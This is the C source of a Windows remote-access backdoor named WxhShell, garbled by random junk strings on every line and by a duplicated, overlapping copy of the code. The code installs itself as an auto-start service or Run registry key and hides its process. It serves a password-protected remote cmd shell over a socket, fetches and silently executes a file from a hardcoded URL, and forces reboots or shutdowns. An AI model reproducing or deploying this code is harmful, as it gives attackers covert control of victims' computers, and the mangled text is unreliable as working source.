    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [ds:LQq)/  
    if(Boot(SHUTDOWN)) a[:0<Ek  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  = uZ[  
    else { nJ#uz:(w,  
    closesocket(wsh); ~ jb6  
    ExitThread(0); #]i*u1  
    } 3u7N/OQ(  
    break; edqekjh  
    } pq6}q($Rk  
  // 获取shell KDW%*%!  
  case 's': { 8H3|i7.1h  
    CmdShell(wsh); @eN x:}  
    closesocket(wsh); )eNR4nF  
    ExitThread(0); 5B!l6ST  
    break; BF2,E<^A  
  } Dx =ms^oN5  
  // 退出 7z"xjA  
  case 'x': { {T Z7>k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V+X>t7.Q  
    CloseIt(wsh); 2JZf@x+}  
    break; w4 <FC$  
    } oBr/CW  
  // 离开 vBUx )l  
  case 'q': { RF 4u\ \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (bi}?V*  
    closesocket(wsh); @^:R1c![s  
    WSACleanup(); uh3%}2'P  
    exit(1); G}Cze Lw  
    break; Cs7YD~,  
        } 6~sb8pK.=  
  } A1:<-TF6^p  
  } , gk49z9  
7_taqcj  
  // 提示信息 QF(.fq8, U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |k:MXI  
} Qj? +R F6(  
  } 3qPj+@  
j0!Z 20  
  return; m]BxGwT=m  
} A^2VH$j]+  
"W;Gv I  
// shell模块句柄 C)`k{(-{  
int CmdShell(SOCKET sock) n4+l, ~  
{ 0.C y4sH'  
STARTUPINFO si; _rXTHo7P  
ZeroMemory(&si,sizeof(si)); Tm5]M$)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9D:p~_"g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }<o.VY&;.  
PROCESS_INFORMATION ProcessInfo; [k.|iCD  
char cmdline[]="cmd"; f( 5c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @Hj5ZJ 3  
  return 0; 1+RG@Cp  
} LY[XPV]t  
4df)?/  
// 自身启动模式 =vMFCp;mv  
int StartFromService(void) EAU6z(X$  
{ yf+M  
typedef struct D)XF@z;  
{ o ^L 3Xiv  
  DWORD ExitStatus; XP<wHh  
  DWORD PebBaseAddress; G=!1P]M{  
  DWORD AffinityMask; Zf}]sW$H  
  DWORD BasePriority; 6Yebc_, R  
  ULONG UniqueProcessId; eKNZ?!c=  
  ULONG InheritedFromUniqueProcessId; :}0y[qc3  
}   PROCESS_BASIC_INFORMATION; jKZJ0`06q  
"tB"C6b  
PROCNTQSIP NtQueryInformationProcess; WY#A9i5Ge  
 XeDiiI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vu0jNKUV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C Fq3  
N"/jn_>+j  
  HANDLE             hProcess; $Zp\^cIE+  
  PROCESS_BASIC_INFORMATION pbi; z9pv|  
bl NJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )#z c$D^U  
  if(NULL == hInst ) return 0; cS/\&%7u  
x2 /\%!mt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a}ogNx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k'{'6JR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .ml24SeC  
%N_5p'W  
  if (!NtQueryInformationProcess) return 0; [ !/u,  
4%1sOnl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hIu;\dfwk  
  if(!hProcess) return 0; N|5J-fR&  
6=s!~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]#;;)K}>  
Esvr~)Y  
  CloseHandle(hProcess); ;<d("Yz:@Z  
*ndXZ64  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `z%f@/:fG  
if(hProcess==NULL) return 0; 4Tgy2[D?q  
2{Nv&ZX?  
HMODULE hMod; % 1ZJi}~  
char procName[255]; yEyx.Mh.Af  
unsigned long cbNeeded; 4;'o`K~*  
Aq%TZ_m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); __M(dN(^  
+<7~yZ[Z8  
  CloseHandle(hProcess);  u)PB@  
#4iSQ$0  
if(strstr(procName,"services")) return 1; // 以服务启动 ^JZ]?iny  
@ofivCc<%  
  return 0; // 注册表启动 .6aC2A]es  
} n@  lf+  
, f{<  
// 主模块 WzZ<ZCHm  
int StartWxhshell(LPSTR lpCmdLine) @S\!wjl]C  
{ Ya{$:90(4  
  SOCKET wsl; b HRH2Ss  
BOOL val=TRUE; ,%7>%*nhk  
  int port=0; :,%~R2  
  struct sockaddr_in door; $(B|$e^:(  
^N#B( F  
  if(wscfg.ws_autoins) Install(); \=PnC}7I  
} M-^A{C\%  
port=atoi(lpCmdLine); #'[4k:  
=aZgq99  
if(port<=0) port=wscfg.ws_port; N,fEta6  
&7_xr.c7  
  WSADATA data; / r6^]grg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #&<>|m  
<y[LdB/a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4\ R2\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -l)vl<}  
  door.sin_family = AF_INET; ? cU9~=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KGb:NQ=O6i  
  door.sin_port = htons(port); .Qk T-12  
))m\d*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RQhS]y@e  
closesocket(wsl); =p~k5k4  
return 1; tb36c<U-  
} \6A Yx[|  
hB/4.K]8  
  if(listen(wsl,2) == INVALID_SOCKET) { a!rU+hiC  
closesocket(wsl); __N< B5E  
return 1; VbX+`CwH  
} *YH5kX  
  Wxhshell(wsl); >tc#Ofgzd  
  WSACleanup(); B8A-|S!,U  
e>z   
return 0; B!{vSBq  
Z./$}tVUG  
} Kv(2x3("  
FyleK+D?  
// 以NT服务方式启动 MiHa'90{K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %L(;}sJ.  
{ SR)jJ=R3  
DWORD   status = 0; mQ(6ahD U  
  DWORD   specificError = 0xfffffff; ,F}\njL  
tDw(k[aK@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z OwKh>]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UF37|+"E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G*;?&;*  
  serviceStatus.dwWin32ExitCode     = 0; wJc~AP)I%z  
  serviceStatus.dwServiceSpecificExitCode = 0; [0vgA#6I  
  serviceStatus.dwCheckPoint       = 0; *Rm"3S  
  serviceStatus.dwWaitHint       = 0; ws}cMX]*  
Xa o*h(Q@L  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,',  S  
  if (hServiceStatusHandle==0) return; )B"k;dLm  
 W^dk:  
status = GetLastError(); })#VO-J  
  if (status!=NO_ERROR) T($d3Nn1  
{ uBpnfIe  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @ ;T|`Y=7  
    serviceStatus.dwCheckPoint       = 0; b0X<)1O  
    serviceStatus.dwWaitHint       = 0; :\hcl&W:  
    serviceStatus.dwWin32ExitCode     = status; j'L/eps?S  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]k+XL*]'A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S+wy^x@@  
    return; YkWv*l  
  } arVu`pD*n  
ki|KtKAu_9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LAs#g||M  
  serviceStatus.dwCheckPoint       = 0; @6["A'h  
  serviceStatus.dwWaitHint       = 0; 4)Jtc2z7Z\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c_V^~hq  
} j8Pqc]  
CG#lpAs  
// 处理NT服务事件,比如:启动、停止 sr S2v\1:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rF@njw@  
{ /;5U-<qf  
switch(fdwControl) y5@#le M  
{ hHA!.u4&  
case SERVICE_CONTROL_STOP: 4Fu:ov ]M  
  serviceStatus.dwWin32ExitCode = 0; h D5NX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +"mS<  
  serviceStatus.dwCheckPoint   = 0; l<3X:)  
  serviceStatus.dwWaitHint     = 0; )NF5,eD  
  { b@v_db]|t.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q8Jhs7fv  
  } "rl(%~Op  
  return; "aL.`^.  
case SERVICE_CONTROL_PAUSE: x."R_>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {beu  
  break; D;1?IeS  
case SERVICE_CONTROL_CONTINUE: `GDWy^-Q+!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -G'U\EXT  
  break; UY5wef2sF  
case SERVICE_CONTROL_INTERROGATE: 8'sT zB]  
  break; nu(;yIRP  
}; Ppton+?(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mV>l`&K=  
} we("#s1=  
{{:QtkN  
// 标准应用程序主函数 9-/u _$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eW<|I  
{ SAVA6 64  
k3PFCl~e  
// 获取操作系统版本 +x!Hc  
OsIsNt=GetOsVer(); %[cZ,F=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kJ'rtz4QO  
:QoW*Gs1  
  // 从命令行安装 0#G@F5; <  
  if(strpbrk(lpCmdLine,"iI")) Install(); 42oW]b%P{;  
B}(r>8?dm  
  // 下载执行文件 /nq\*)S#&  
if(wscfg.ws_downexe) { aRV .;S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WWEZTFL:j  
  WinExec(wscfg.ws_filenam,SW_HIDE); #"qP4S2  
} N%f% U  
n 9>**&5L  
if(!OsIsNt) { C ^IPddw>  
// 如果时win9x,隐藏进程并且设置为注册表启动 W5*Kq^6Pd  
HideProc(); b)+;=o%  
StartWxhshell(lpCmdLine); w!%"b03q  
} 4j1$1C{  
else BQ:hUF3  
  if(StartFromService()) \; voBU  
  // 以服务方式启动 eae`#>XP  
  StartServiceCtrlDispatcher(DispatchTable); $xU)t&Df  
else En9>onJ  
  // 普通方式启动 `VrQ? s  
  StartWxhshell(lpCmdLine); O7"16~ a  
56?RFnZ&j  
return 0; %f?Z/Wn  
} fsjCu!  
y9Q #%a8V  
B"Ma<"HU  
ey]WoUZ  
=========================================== <*Gd0 v%  
a$=He   
^qY?x7mx1  
eH_< <Xh!v  
XfQK kol  
J))U YJO  
" fi~jT"_CI  
,W|cyQ  
#include <stdio.h> $L4h'(s  
#include <string.h> rT|wZz9$@  
#include <windows.h> ?CD[jX}!  
#include <winsock2.h> e?7Oom  
#include <winsvc.h> cC*H.N  
#include <urlmon.h> <y=+Gh  
,p>@:C/M  
#pragma comment (lib, "Ws2_32.lib") 0z$::p$%u  
#pragma comment (lib, "urlmon.lib") i+Lqj  
`m`Y3I  
#define MAX_USER   100 // 最大客户端连接数 %M*2j%6  
#define BUF_SOCK   200 // sock buffer b OolBKV  
#define KEY_BUFF   255 // 输入 buffer :V0sKg|sS  
7'!DK;=TD6  
#define REBOOT     0   // 重启 ]7{ e~U  
#define SHUTDOWN   1   // 关机 bo-L|R&O  
n_{az{~  
#define DEF_PORT   5000 // 监听端口  y 2C Jk~  
+QEP:#qZw  
#define REG_LEN     16   // 注册表键长度 t2(vtxrt  
#define SVC_LEN     80   // NT服务名长度 nN2huNTf:  
{O6yJckH  
// 从dll定义API 'Rb tcFb   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QuIZpP=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hb<cynY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $x*(D|\'<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cN:dy#  
E*x ct-m#  
// wxhshell配置信息 74=zLDDS  
struct WSCFG { !C@+CZXLx  
  int ws_port;         // 监听端口 050V-S>s  
  char ws_passstr[REG_LEN]; // 口令 9S|a!9J  
  int ws_autoins;       // 安装标记, 1=yes 0=no []$L"?]0uk  
  char ws_regname[REG_LEN]; // 注册表键名  u]OYu  
  char ws_svcname[REG_LEN]; // 服务名 +~V)&6Vn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IuY4R0Go  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BS=~G+/:|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lhPxMMS`j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +!K*FU=).  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u}.mJDL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >QdT 7gB  
!;UoZ~  
}; nT%ko7~-  
>qVSepK3  
// default Wxhshell configuration (<}BlL   
struct WSCFG wscfg={DEF_PORT, L6"V=^Bq  
    "xuhuanlingzhe", kEp{L  
    1, j[A:So  
    "Wxhshell", [:zP]l.|  
    "Wxhshell", ^'n;W<\p)  
            "WxhShell Service", F1t+D)KA>  
    "Wrsky Windows CmdShell Service", )O2IEwPd.  
    "Please Input Your Password: ", #||D,[ _=+  
  1, Jflm-Hhsf  
  "http://www.wrsky.com/wxhshell.exe", J |w%n5Y  
  "Wxhshell.exe" 8O_yZ ~Z4  
    }; Us.k,  
Ae%AG@L  
// 消息定义模块 _\gCdNrD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]v]tBVO$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "d`u#YmR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BV6B:=E0  
char *msg_ws_ext="\n\rExit."; $*:g~#bh  
char *msg_ws_end="\n\rQuit."; N@Q_5t0bk  
char *msg_ws_boot="\n\rReboot..."; a2[rY  
char *msg_ws_poff="\n\rShutdown..."; >Q=Q%~  
char *msg_ws_down="\n\rSave to "; P;eXUF+jn  
B1A:}#  
char *msg_ws_err="\n\rErr!"; s!S_Bt):3  
char *msg_ws_ok="\n\rOK!"; yJ="dEn>i"  
dZox;_b  
char ExeFile[MAX_PATH]; {:|b,ep T  
int nUser = 0; tAPf#7{|   
HANDLE handles[MAX_USER]; !;4Hh)2  
int OsIsNt; v o4U%  
K $WMrp  
SERVICE_STATUS       serviceStatus; +4Fw13ADE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1Ko4O)L]&  
& WeN{  
// 函数声明 G+2 ,x0(  
int Install(void); hV+=hX<h  
int Uninstall(void); K)  Ums-b  
int DownloadFile(char *sURL, SOCKET wsh); !L@<?0x LW  
int Boot(int flag); o7 0] F  
void HideProc(void); ^ FM  
int GetOsVer(void); Ss0I{0  
int Wxhshell(SOCKET wsl); 8 C9ny}  
void TalkWithClient(void *cs); F B:nkUR`  
int CmdShell(SOCKET sock); ~9"c64 q  
int StartFromService(void); }KO <II  
int StartWxhshell(LPSTR lpCmdLine); 7%W1M@  
; !C_}P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +&dkJ 4g[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h?H|)a<^9  
1rS8+!9C  
// 数据结构和表定义 $ U7#3-'  
SERVICE_TABLE_ENTRY DispatchTable[] = nEPTTp+B  
{ *U}ztH-+/  
{wscfg.ws_svcname, NTServiceMain}, zkiwFEHA=  
{NULL, NULL} /::Y &&$f  
}; 4U16'd  
WEJ-K<A(  
// 自我安装 !iq|sXs  
int Install(void) #G_'5{V  
{ T|0+o+i  
  char svExeFile[MAX_PATH]; 8.>himL  
  HKEY key; ]G D` f  
  strcpy(svExeFile,ExeFile); \ @[Q3.VX  
,p#r; O<O  
// 如果是win9x系统,修改注册表设为自启动 o@7U4#E  
if(!OsIsNt) { c%bzrYQvA;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !{{gL=_@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |fIyq}{7  
  RegCloseKey(key); f$tm<:)Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w0+X;aId  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a4gX@&it_k  
  RegCloseKey(key); AW E ab  
  return 0; awI{%u_(nA  
    } CUHT5J*sY  
  } " Zx<hL*  
} `23][V  
else { 9UVT]acq  
#@xB ?u-0q  
// 如果是NT以上系统,安装为系统服务 G%, RD}D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z [ 'G"yCi  
if (schSCManager!=0) $PI9vyS  
{ YRCs&tgs  
  SC_HANDLE schService = CreateService mU~&oU  
  ( N'-[>w7vK2  
  schSCManager, U$<" . q  
  wscfg.ws_svcname, &r~s3S{pQ  
  wscfg.ws_svcdisp, QQ_7Q^  
  SERVICE_ALL_ACCESS, 2P)O 0j\/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `uUzBV.FR  
  SERVICE_AUTO_START, rmo\UCD  
  SERVICE_ERROR_NORMAL, dGi HO  
  svExeFile, u1Slu%^e  
  NULL, R&BWCC{  
  NULL, d =n{Wn{C  
  NULL, b$%Kv(  
  NULL, E4>}O;m0  
  NULL qv}ECQ  
  ); &oq 0XV.M^  
  if (schService!=0) > <Zu+HX  
  { q5L^>"  
  CloseServiceHandle(schService); ."=%]l 0  
  CloseServiceHandle(schSCManager); |q 8N$m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); la)^`STh  
  strcat(svExeFile,wscfg.ws_svcname); 1DhC,)+D}q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d6 ef)mw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vV*J;%MO  
  RegCloseKey(key); fU?#^Lg  
  return 0; lgS7;  
    } 1YJ?Y  
  } biU_ImJ>0  
  CloseServiceHandle(schSCManager); |Tc4a4jS  
} O,|NOz  
} > *VvV/UU  
]wdE :k,D  
return 1; y`j=(|DV  
} vq^';<Wh.  
*i^$xjOa  
// 自我卸载 ]K*R[  
int Uninstall(void) QnD8L.Dg  
{ _@!vF,Wcf  
  HKEY key; &Cv  
|bnYHP$!  
if(!OsIsNt) { T'vI@i9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c9fz x  
  RegDeleteValue(key,wscfg.ws_regname); ~/9RSdv7  
  RegCloseKey(key); VOZxLyj^9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w5{l-Z  
  RegDeleteValue(key,wscfg.ws_regname); %),u0:go  
  RegCloseKey(key); !C05;x8{  
  return 0; Zfcf?&><  
  } i9XpP(mf  
} Q,^/Lm|]k  
} <j>;5!4!}  
else {  +:-xV  
/\# f@Sg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c6#E gN,X  
if (schSCManager!=0) -` ViuDX=  
{ =g! Pw]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {yWL|:#K  
  if (schService!=0) VOM@x%6#c  
  {  MiIxj%,(  
  if(DeleteService(schService)!=0) { 2Kz$y JTp  
  CloseServiceHandle(schService); !ess.U&m'  
  CloseServiceHandle(schSCManager); f"P866@oWn  
  return 0; #jrlNg4(  
  } (C#0 ML  
  CloseServiceHandle(schService); >MN"87U6  
  } 9N'fU),I  
  CloseServiceHandle(schSCManager); T+&fUhSy  
} t_w\k_ T  
} -43>?m/a  
B I)@n:p  
return 1; qvB{vU  
} |cY,@X,X6  
8|=C/k  
// 从指定url下载文件 ~M{/cv  
int DownloadFile(char *sURL, SOCKET wsh) ; Z7!BU  
{ h7q{i|5  
  HRESULT hr; 5rB>)p05[  
char seps[]= "/"; 4RB%r  
char *token; gM>?w{!LBx  
char *file; '~K]=JP  
char myURL[MAX_PATH]; KFHZ3HZ:>  
char myFILE[MAX_PATH]; T=tW'tlT\v  
v0oVbHO5<  
strcpy(myURL,sURL); ' QG`^@Z  
  token=strtok(myURL,seps); W1X3ArP]m8  
  while(token!=NULL) Ovk=s,a)K  
  { LdG?kbJ&y  
    file=token; \WFcb\..  
  token=strtok(NULL,seps); XZARy:+bc  
  } bRy(`  
q%])dZ!lE  
GetCurrentDirectory(MAX_PATH,myFILE); #<b\BqYG  
strcat(myFILE, "\\"); 5)T[ha77u  
strcat(myFILE, file); [;Lgbgt3f  
  send(wsh,myFILE,strlen(myFILE),0); V&:x+swt  
send(wsh,"...",3,0); /qy6YF8;y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m\XsU?SuX  
  if(hr==S_OK) ygIn6.p  
return 0; .ZF%$H  
else \{:A&X~\!  
return 1; jDb\4QyC  
7WS$fUBi  
} v{t pRL0  
hZ*vk  
// 系统电源模块 trwQ@7  
int Boot(int flag) EA>.SSs!  
{ #0b:5.vy  
  HANDLE hToken; X/2GTU7?  
  TOKEN_PRIVILEGES tkp; 8Lx/ZGy  
VfpT5W<  
  if(OsIsNt) { ydYsmTr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?8H{AuLB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4h|*r !  
    tkp.PrivilegeCount = 1; g]: [^p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hQ<7k'V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =bC'>qw}  
if(flag==REBOOT) { /7#e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T^|k`  
  return 0; #z.n?d2Gd  
} S._2..%G  
else { s=(q#Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L}rZ1wV6  
  return 0; 27ZqdHd  
}  FNH)wk  
  } nL=+`aq_  
  else { m8{8r>6*  
if(flag==REBOOT) { N s0,Z#Z+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "ymR8 y'  
  return 0; 5s3QN{h8  
} yPtE5"(o  
else { K*T^w3=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tW|0_m>{  
  return 0; /-FV1G,h  
} |Qcz5M90e  
} '[liZCg  
J^jd@E  
return 1; ?s$d("~  
} GxD`M2  
#;ObugY,  
// win9x进程隐藏模块 {f-O~P<Z4  
void HideProc(void) W%>T{}4  
{ mA$y$73=T  
?j/FYi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |8CxMs  
  if ( hKernel != NULL ) %Hd[,duwO  
  { Ez|NQ:o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o{#aF=`{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?V!5VHa  
    FreeLibrary(hKernel); P'tXG  
  } \DujF>:  
UU>+b:  
return; tNr'@ls  
} cdL]s^z  
/g+-{+sx  
// 获取操作系统版本 U$gR}8\e  
int GetOsVer(void) o|h=M/  
{ o FP8s[B  
  OSVERSIONINFO winfo; ugTsI~aE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E5rV}>(Y  
  GetVersionEx(&winfo); J";N^OR{A%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hQj@D\}  
  return 1; } uS0N$4  
  else N!~]D[D  
  return 0; b_nE4>  
} :5CyR3P  
o-H?q!  
// 客户端句柄模块 v%T'!(0j/  
int Wxhshell(SOCKET wsl) a r8iuwfZ  
{ E& 6I`8  
  SOCKET wsh; z7IJSj1gQI  
  struct sockaddr_in client; xD&n'M]  
  DWORD myID; ;G8H' gM07  
.o`Io[io  
  while(nUser<MAX_USER) RVm-0[m}  
{ o 7kg.w|  
  int nSize=sizeof(client); #&kj>   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -V{"Lzrfug  
  if(wsh==INVALID_SOCKET) return 1; 7d%x7!E   
,uC-^T |n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u@e.5_:S)  
if(handles[nUser]==0) ]P wS3:x  
  closesocket(wsh); Y}R$RDRL  
else 2 G_KTYJ  
  nUser++; xSD*e 0  
  } M;<!C%K>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J$yq#LBbR@  
Wrb[\ ?-  
  return 0; y*^UGJC:  
} }#D=Rf?2\P  
;dUKFdKH}  
// 关闭 socket nktGO  
void CloseIt(SOCKET wsh) ZAfuW^r  
{ FulFEnSV  
closesocket(wsh); A{q%sp:3~  
nUser--; ,o n]Fts  
ExitThread(0); W{'hn&vU  
} R]%"YQ V  
'u v=D  
// 客户端请求句柄 d*s*AV  
void TalkWithClient(void *cs) EP@u4F  
{ ![K\)7iKo  
JS ^Cc  
  SOCKET wsh=(SOCKET)cs; n-8/CBEH(  
  char pwd[SVC_LEN]; %z@ Z^Jv  
  char cmd[KEY_BUFF]; b3-j2`#  
char chr[1]; +7w5m  
int i,j; rZdOU?U  
})^eaLBR4  
  while (nUser < MAX_USER) { ' F.^ 8/>  
#d$z W4ur2  
if(wscfg.ws_passstr) { GalSqtbmDt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QGfwvFm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K' `qR  
  //ZeroMemory(pwd,KEY_BUFF); QnOgF3t  
      i=0; N 5Om~D  
  while(i<SVC_LEN) { )-!)D  
~xxq.rL"  
  // 设置超时 <e BmCrJ  
  fd_set FdRead; {7m2vv?Z  
  struct timeval TimeOut; 6 agG*x  
  FD_ZERO(&FdRead); 8a 8a:d  
  FD_SET(wsh,&FdRead); k@lJ8(i^qU  
  TimeOut.tv_sec=8; \0 h>!u  
  TimeOut.tv_usec=0; 18NnXqe-m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ")MHP~ ?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kbb!2`F!%  
I"czo9Yspd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W8^A{l4  
  pwd=chr[0]; &T,,fz$  
  if(chr[0]==0xd || chr[0]==0xa) { I1>f2/$z*  
  pwd=0; Cydo~/  
  break; u|}\Af  
  } u~uz=Yse  
  i++; L@T/4e./  
    } Kt*b) <  
:'wxm3f  
  // 如果是非法用户,关闭 socket g^A^@~M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n+sv2Wv:  
} 4_-&PZ,d  
3LfF{ED@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m]U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KdozB!\  
aPxSC>p  
while(1) { 9~Sa7P  
]>)shH=Yx  
  ZeroMemory(cmd,KEY_BUFF); l[[`-f8j  
_Kaqx"D  
      // 自动支持客户端 telnet标准   5fk A?Ecqq  
  j=0; 3HtM<su*h  
  while(j<KEY_BUFF) { I-!7 EC2{!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kIS )*_  
  cmd[j]=chr[0]; _ -RqkRI  
  if(chr[0]==0xa || chr[0]==0xd) { Wtu-g**KN  
  cmd[j]=0; 9{fP.ifdv7  
  break; TW& s c9  
  } #\X)|p2  
  j++; }bw^p.ci  
    } Te}gmt+#%  
16Ka>=G  
  // 下载文件 Fu{VO~w  
  if(strstr(cmd,"http://")) { geK;r0(f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !%R):^R8  
  if(DownloadFile(cmd,wsh)) -x6_HibbD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [x 7Rq_^  
  else gnN>Rl 5_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Y2$9qy-L  
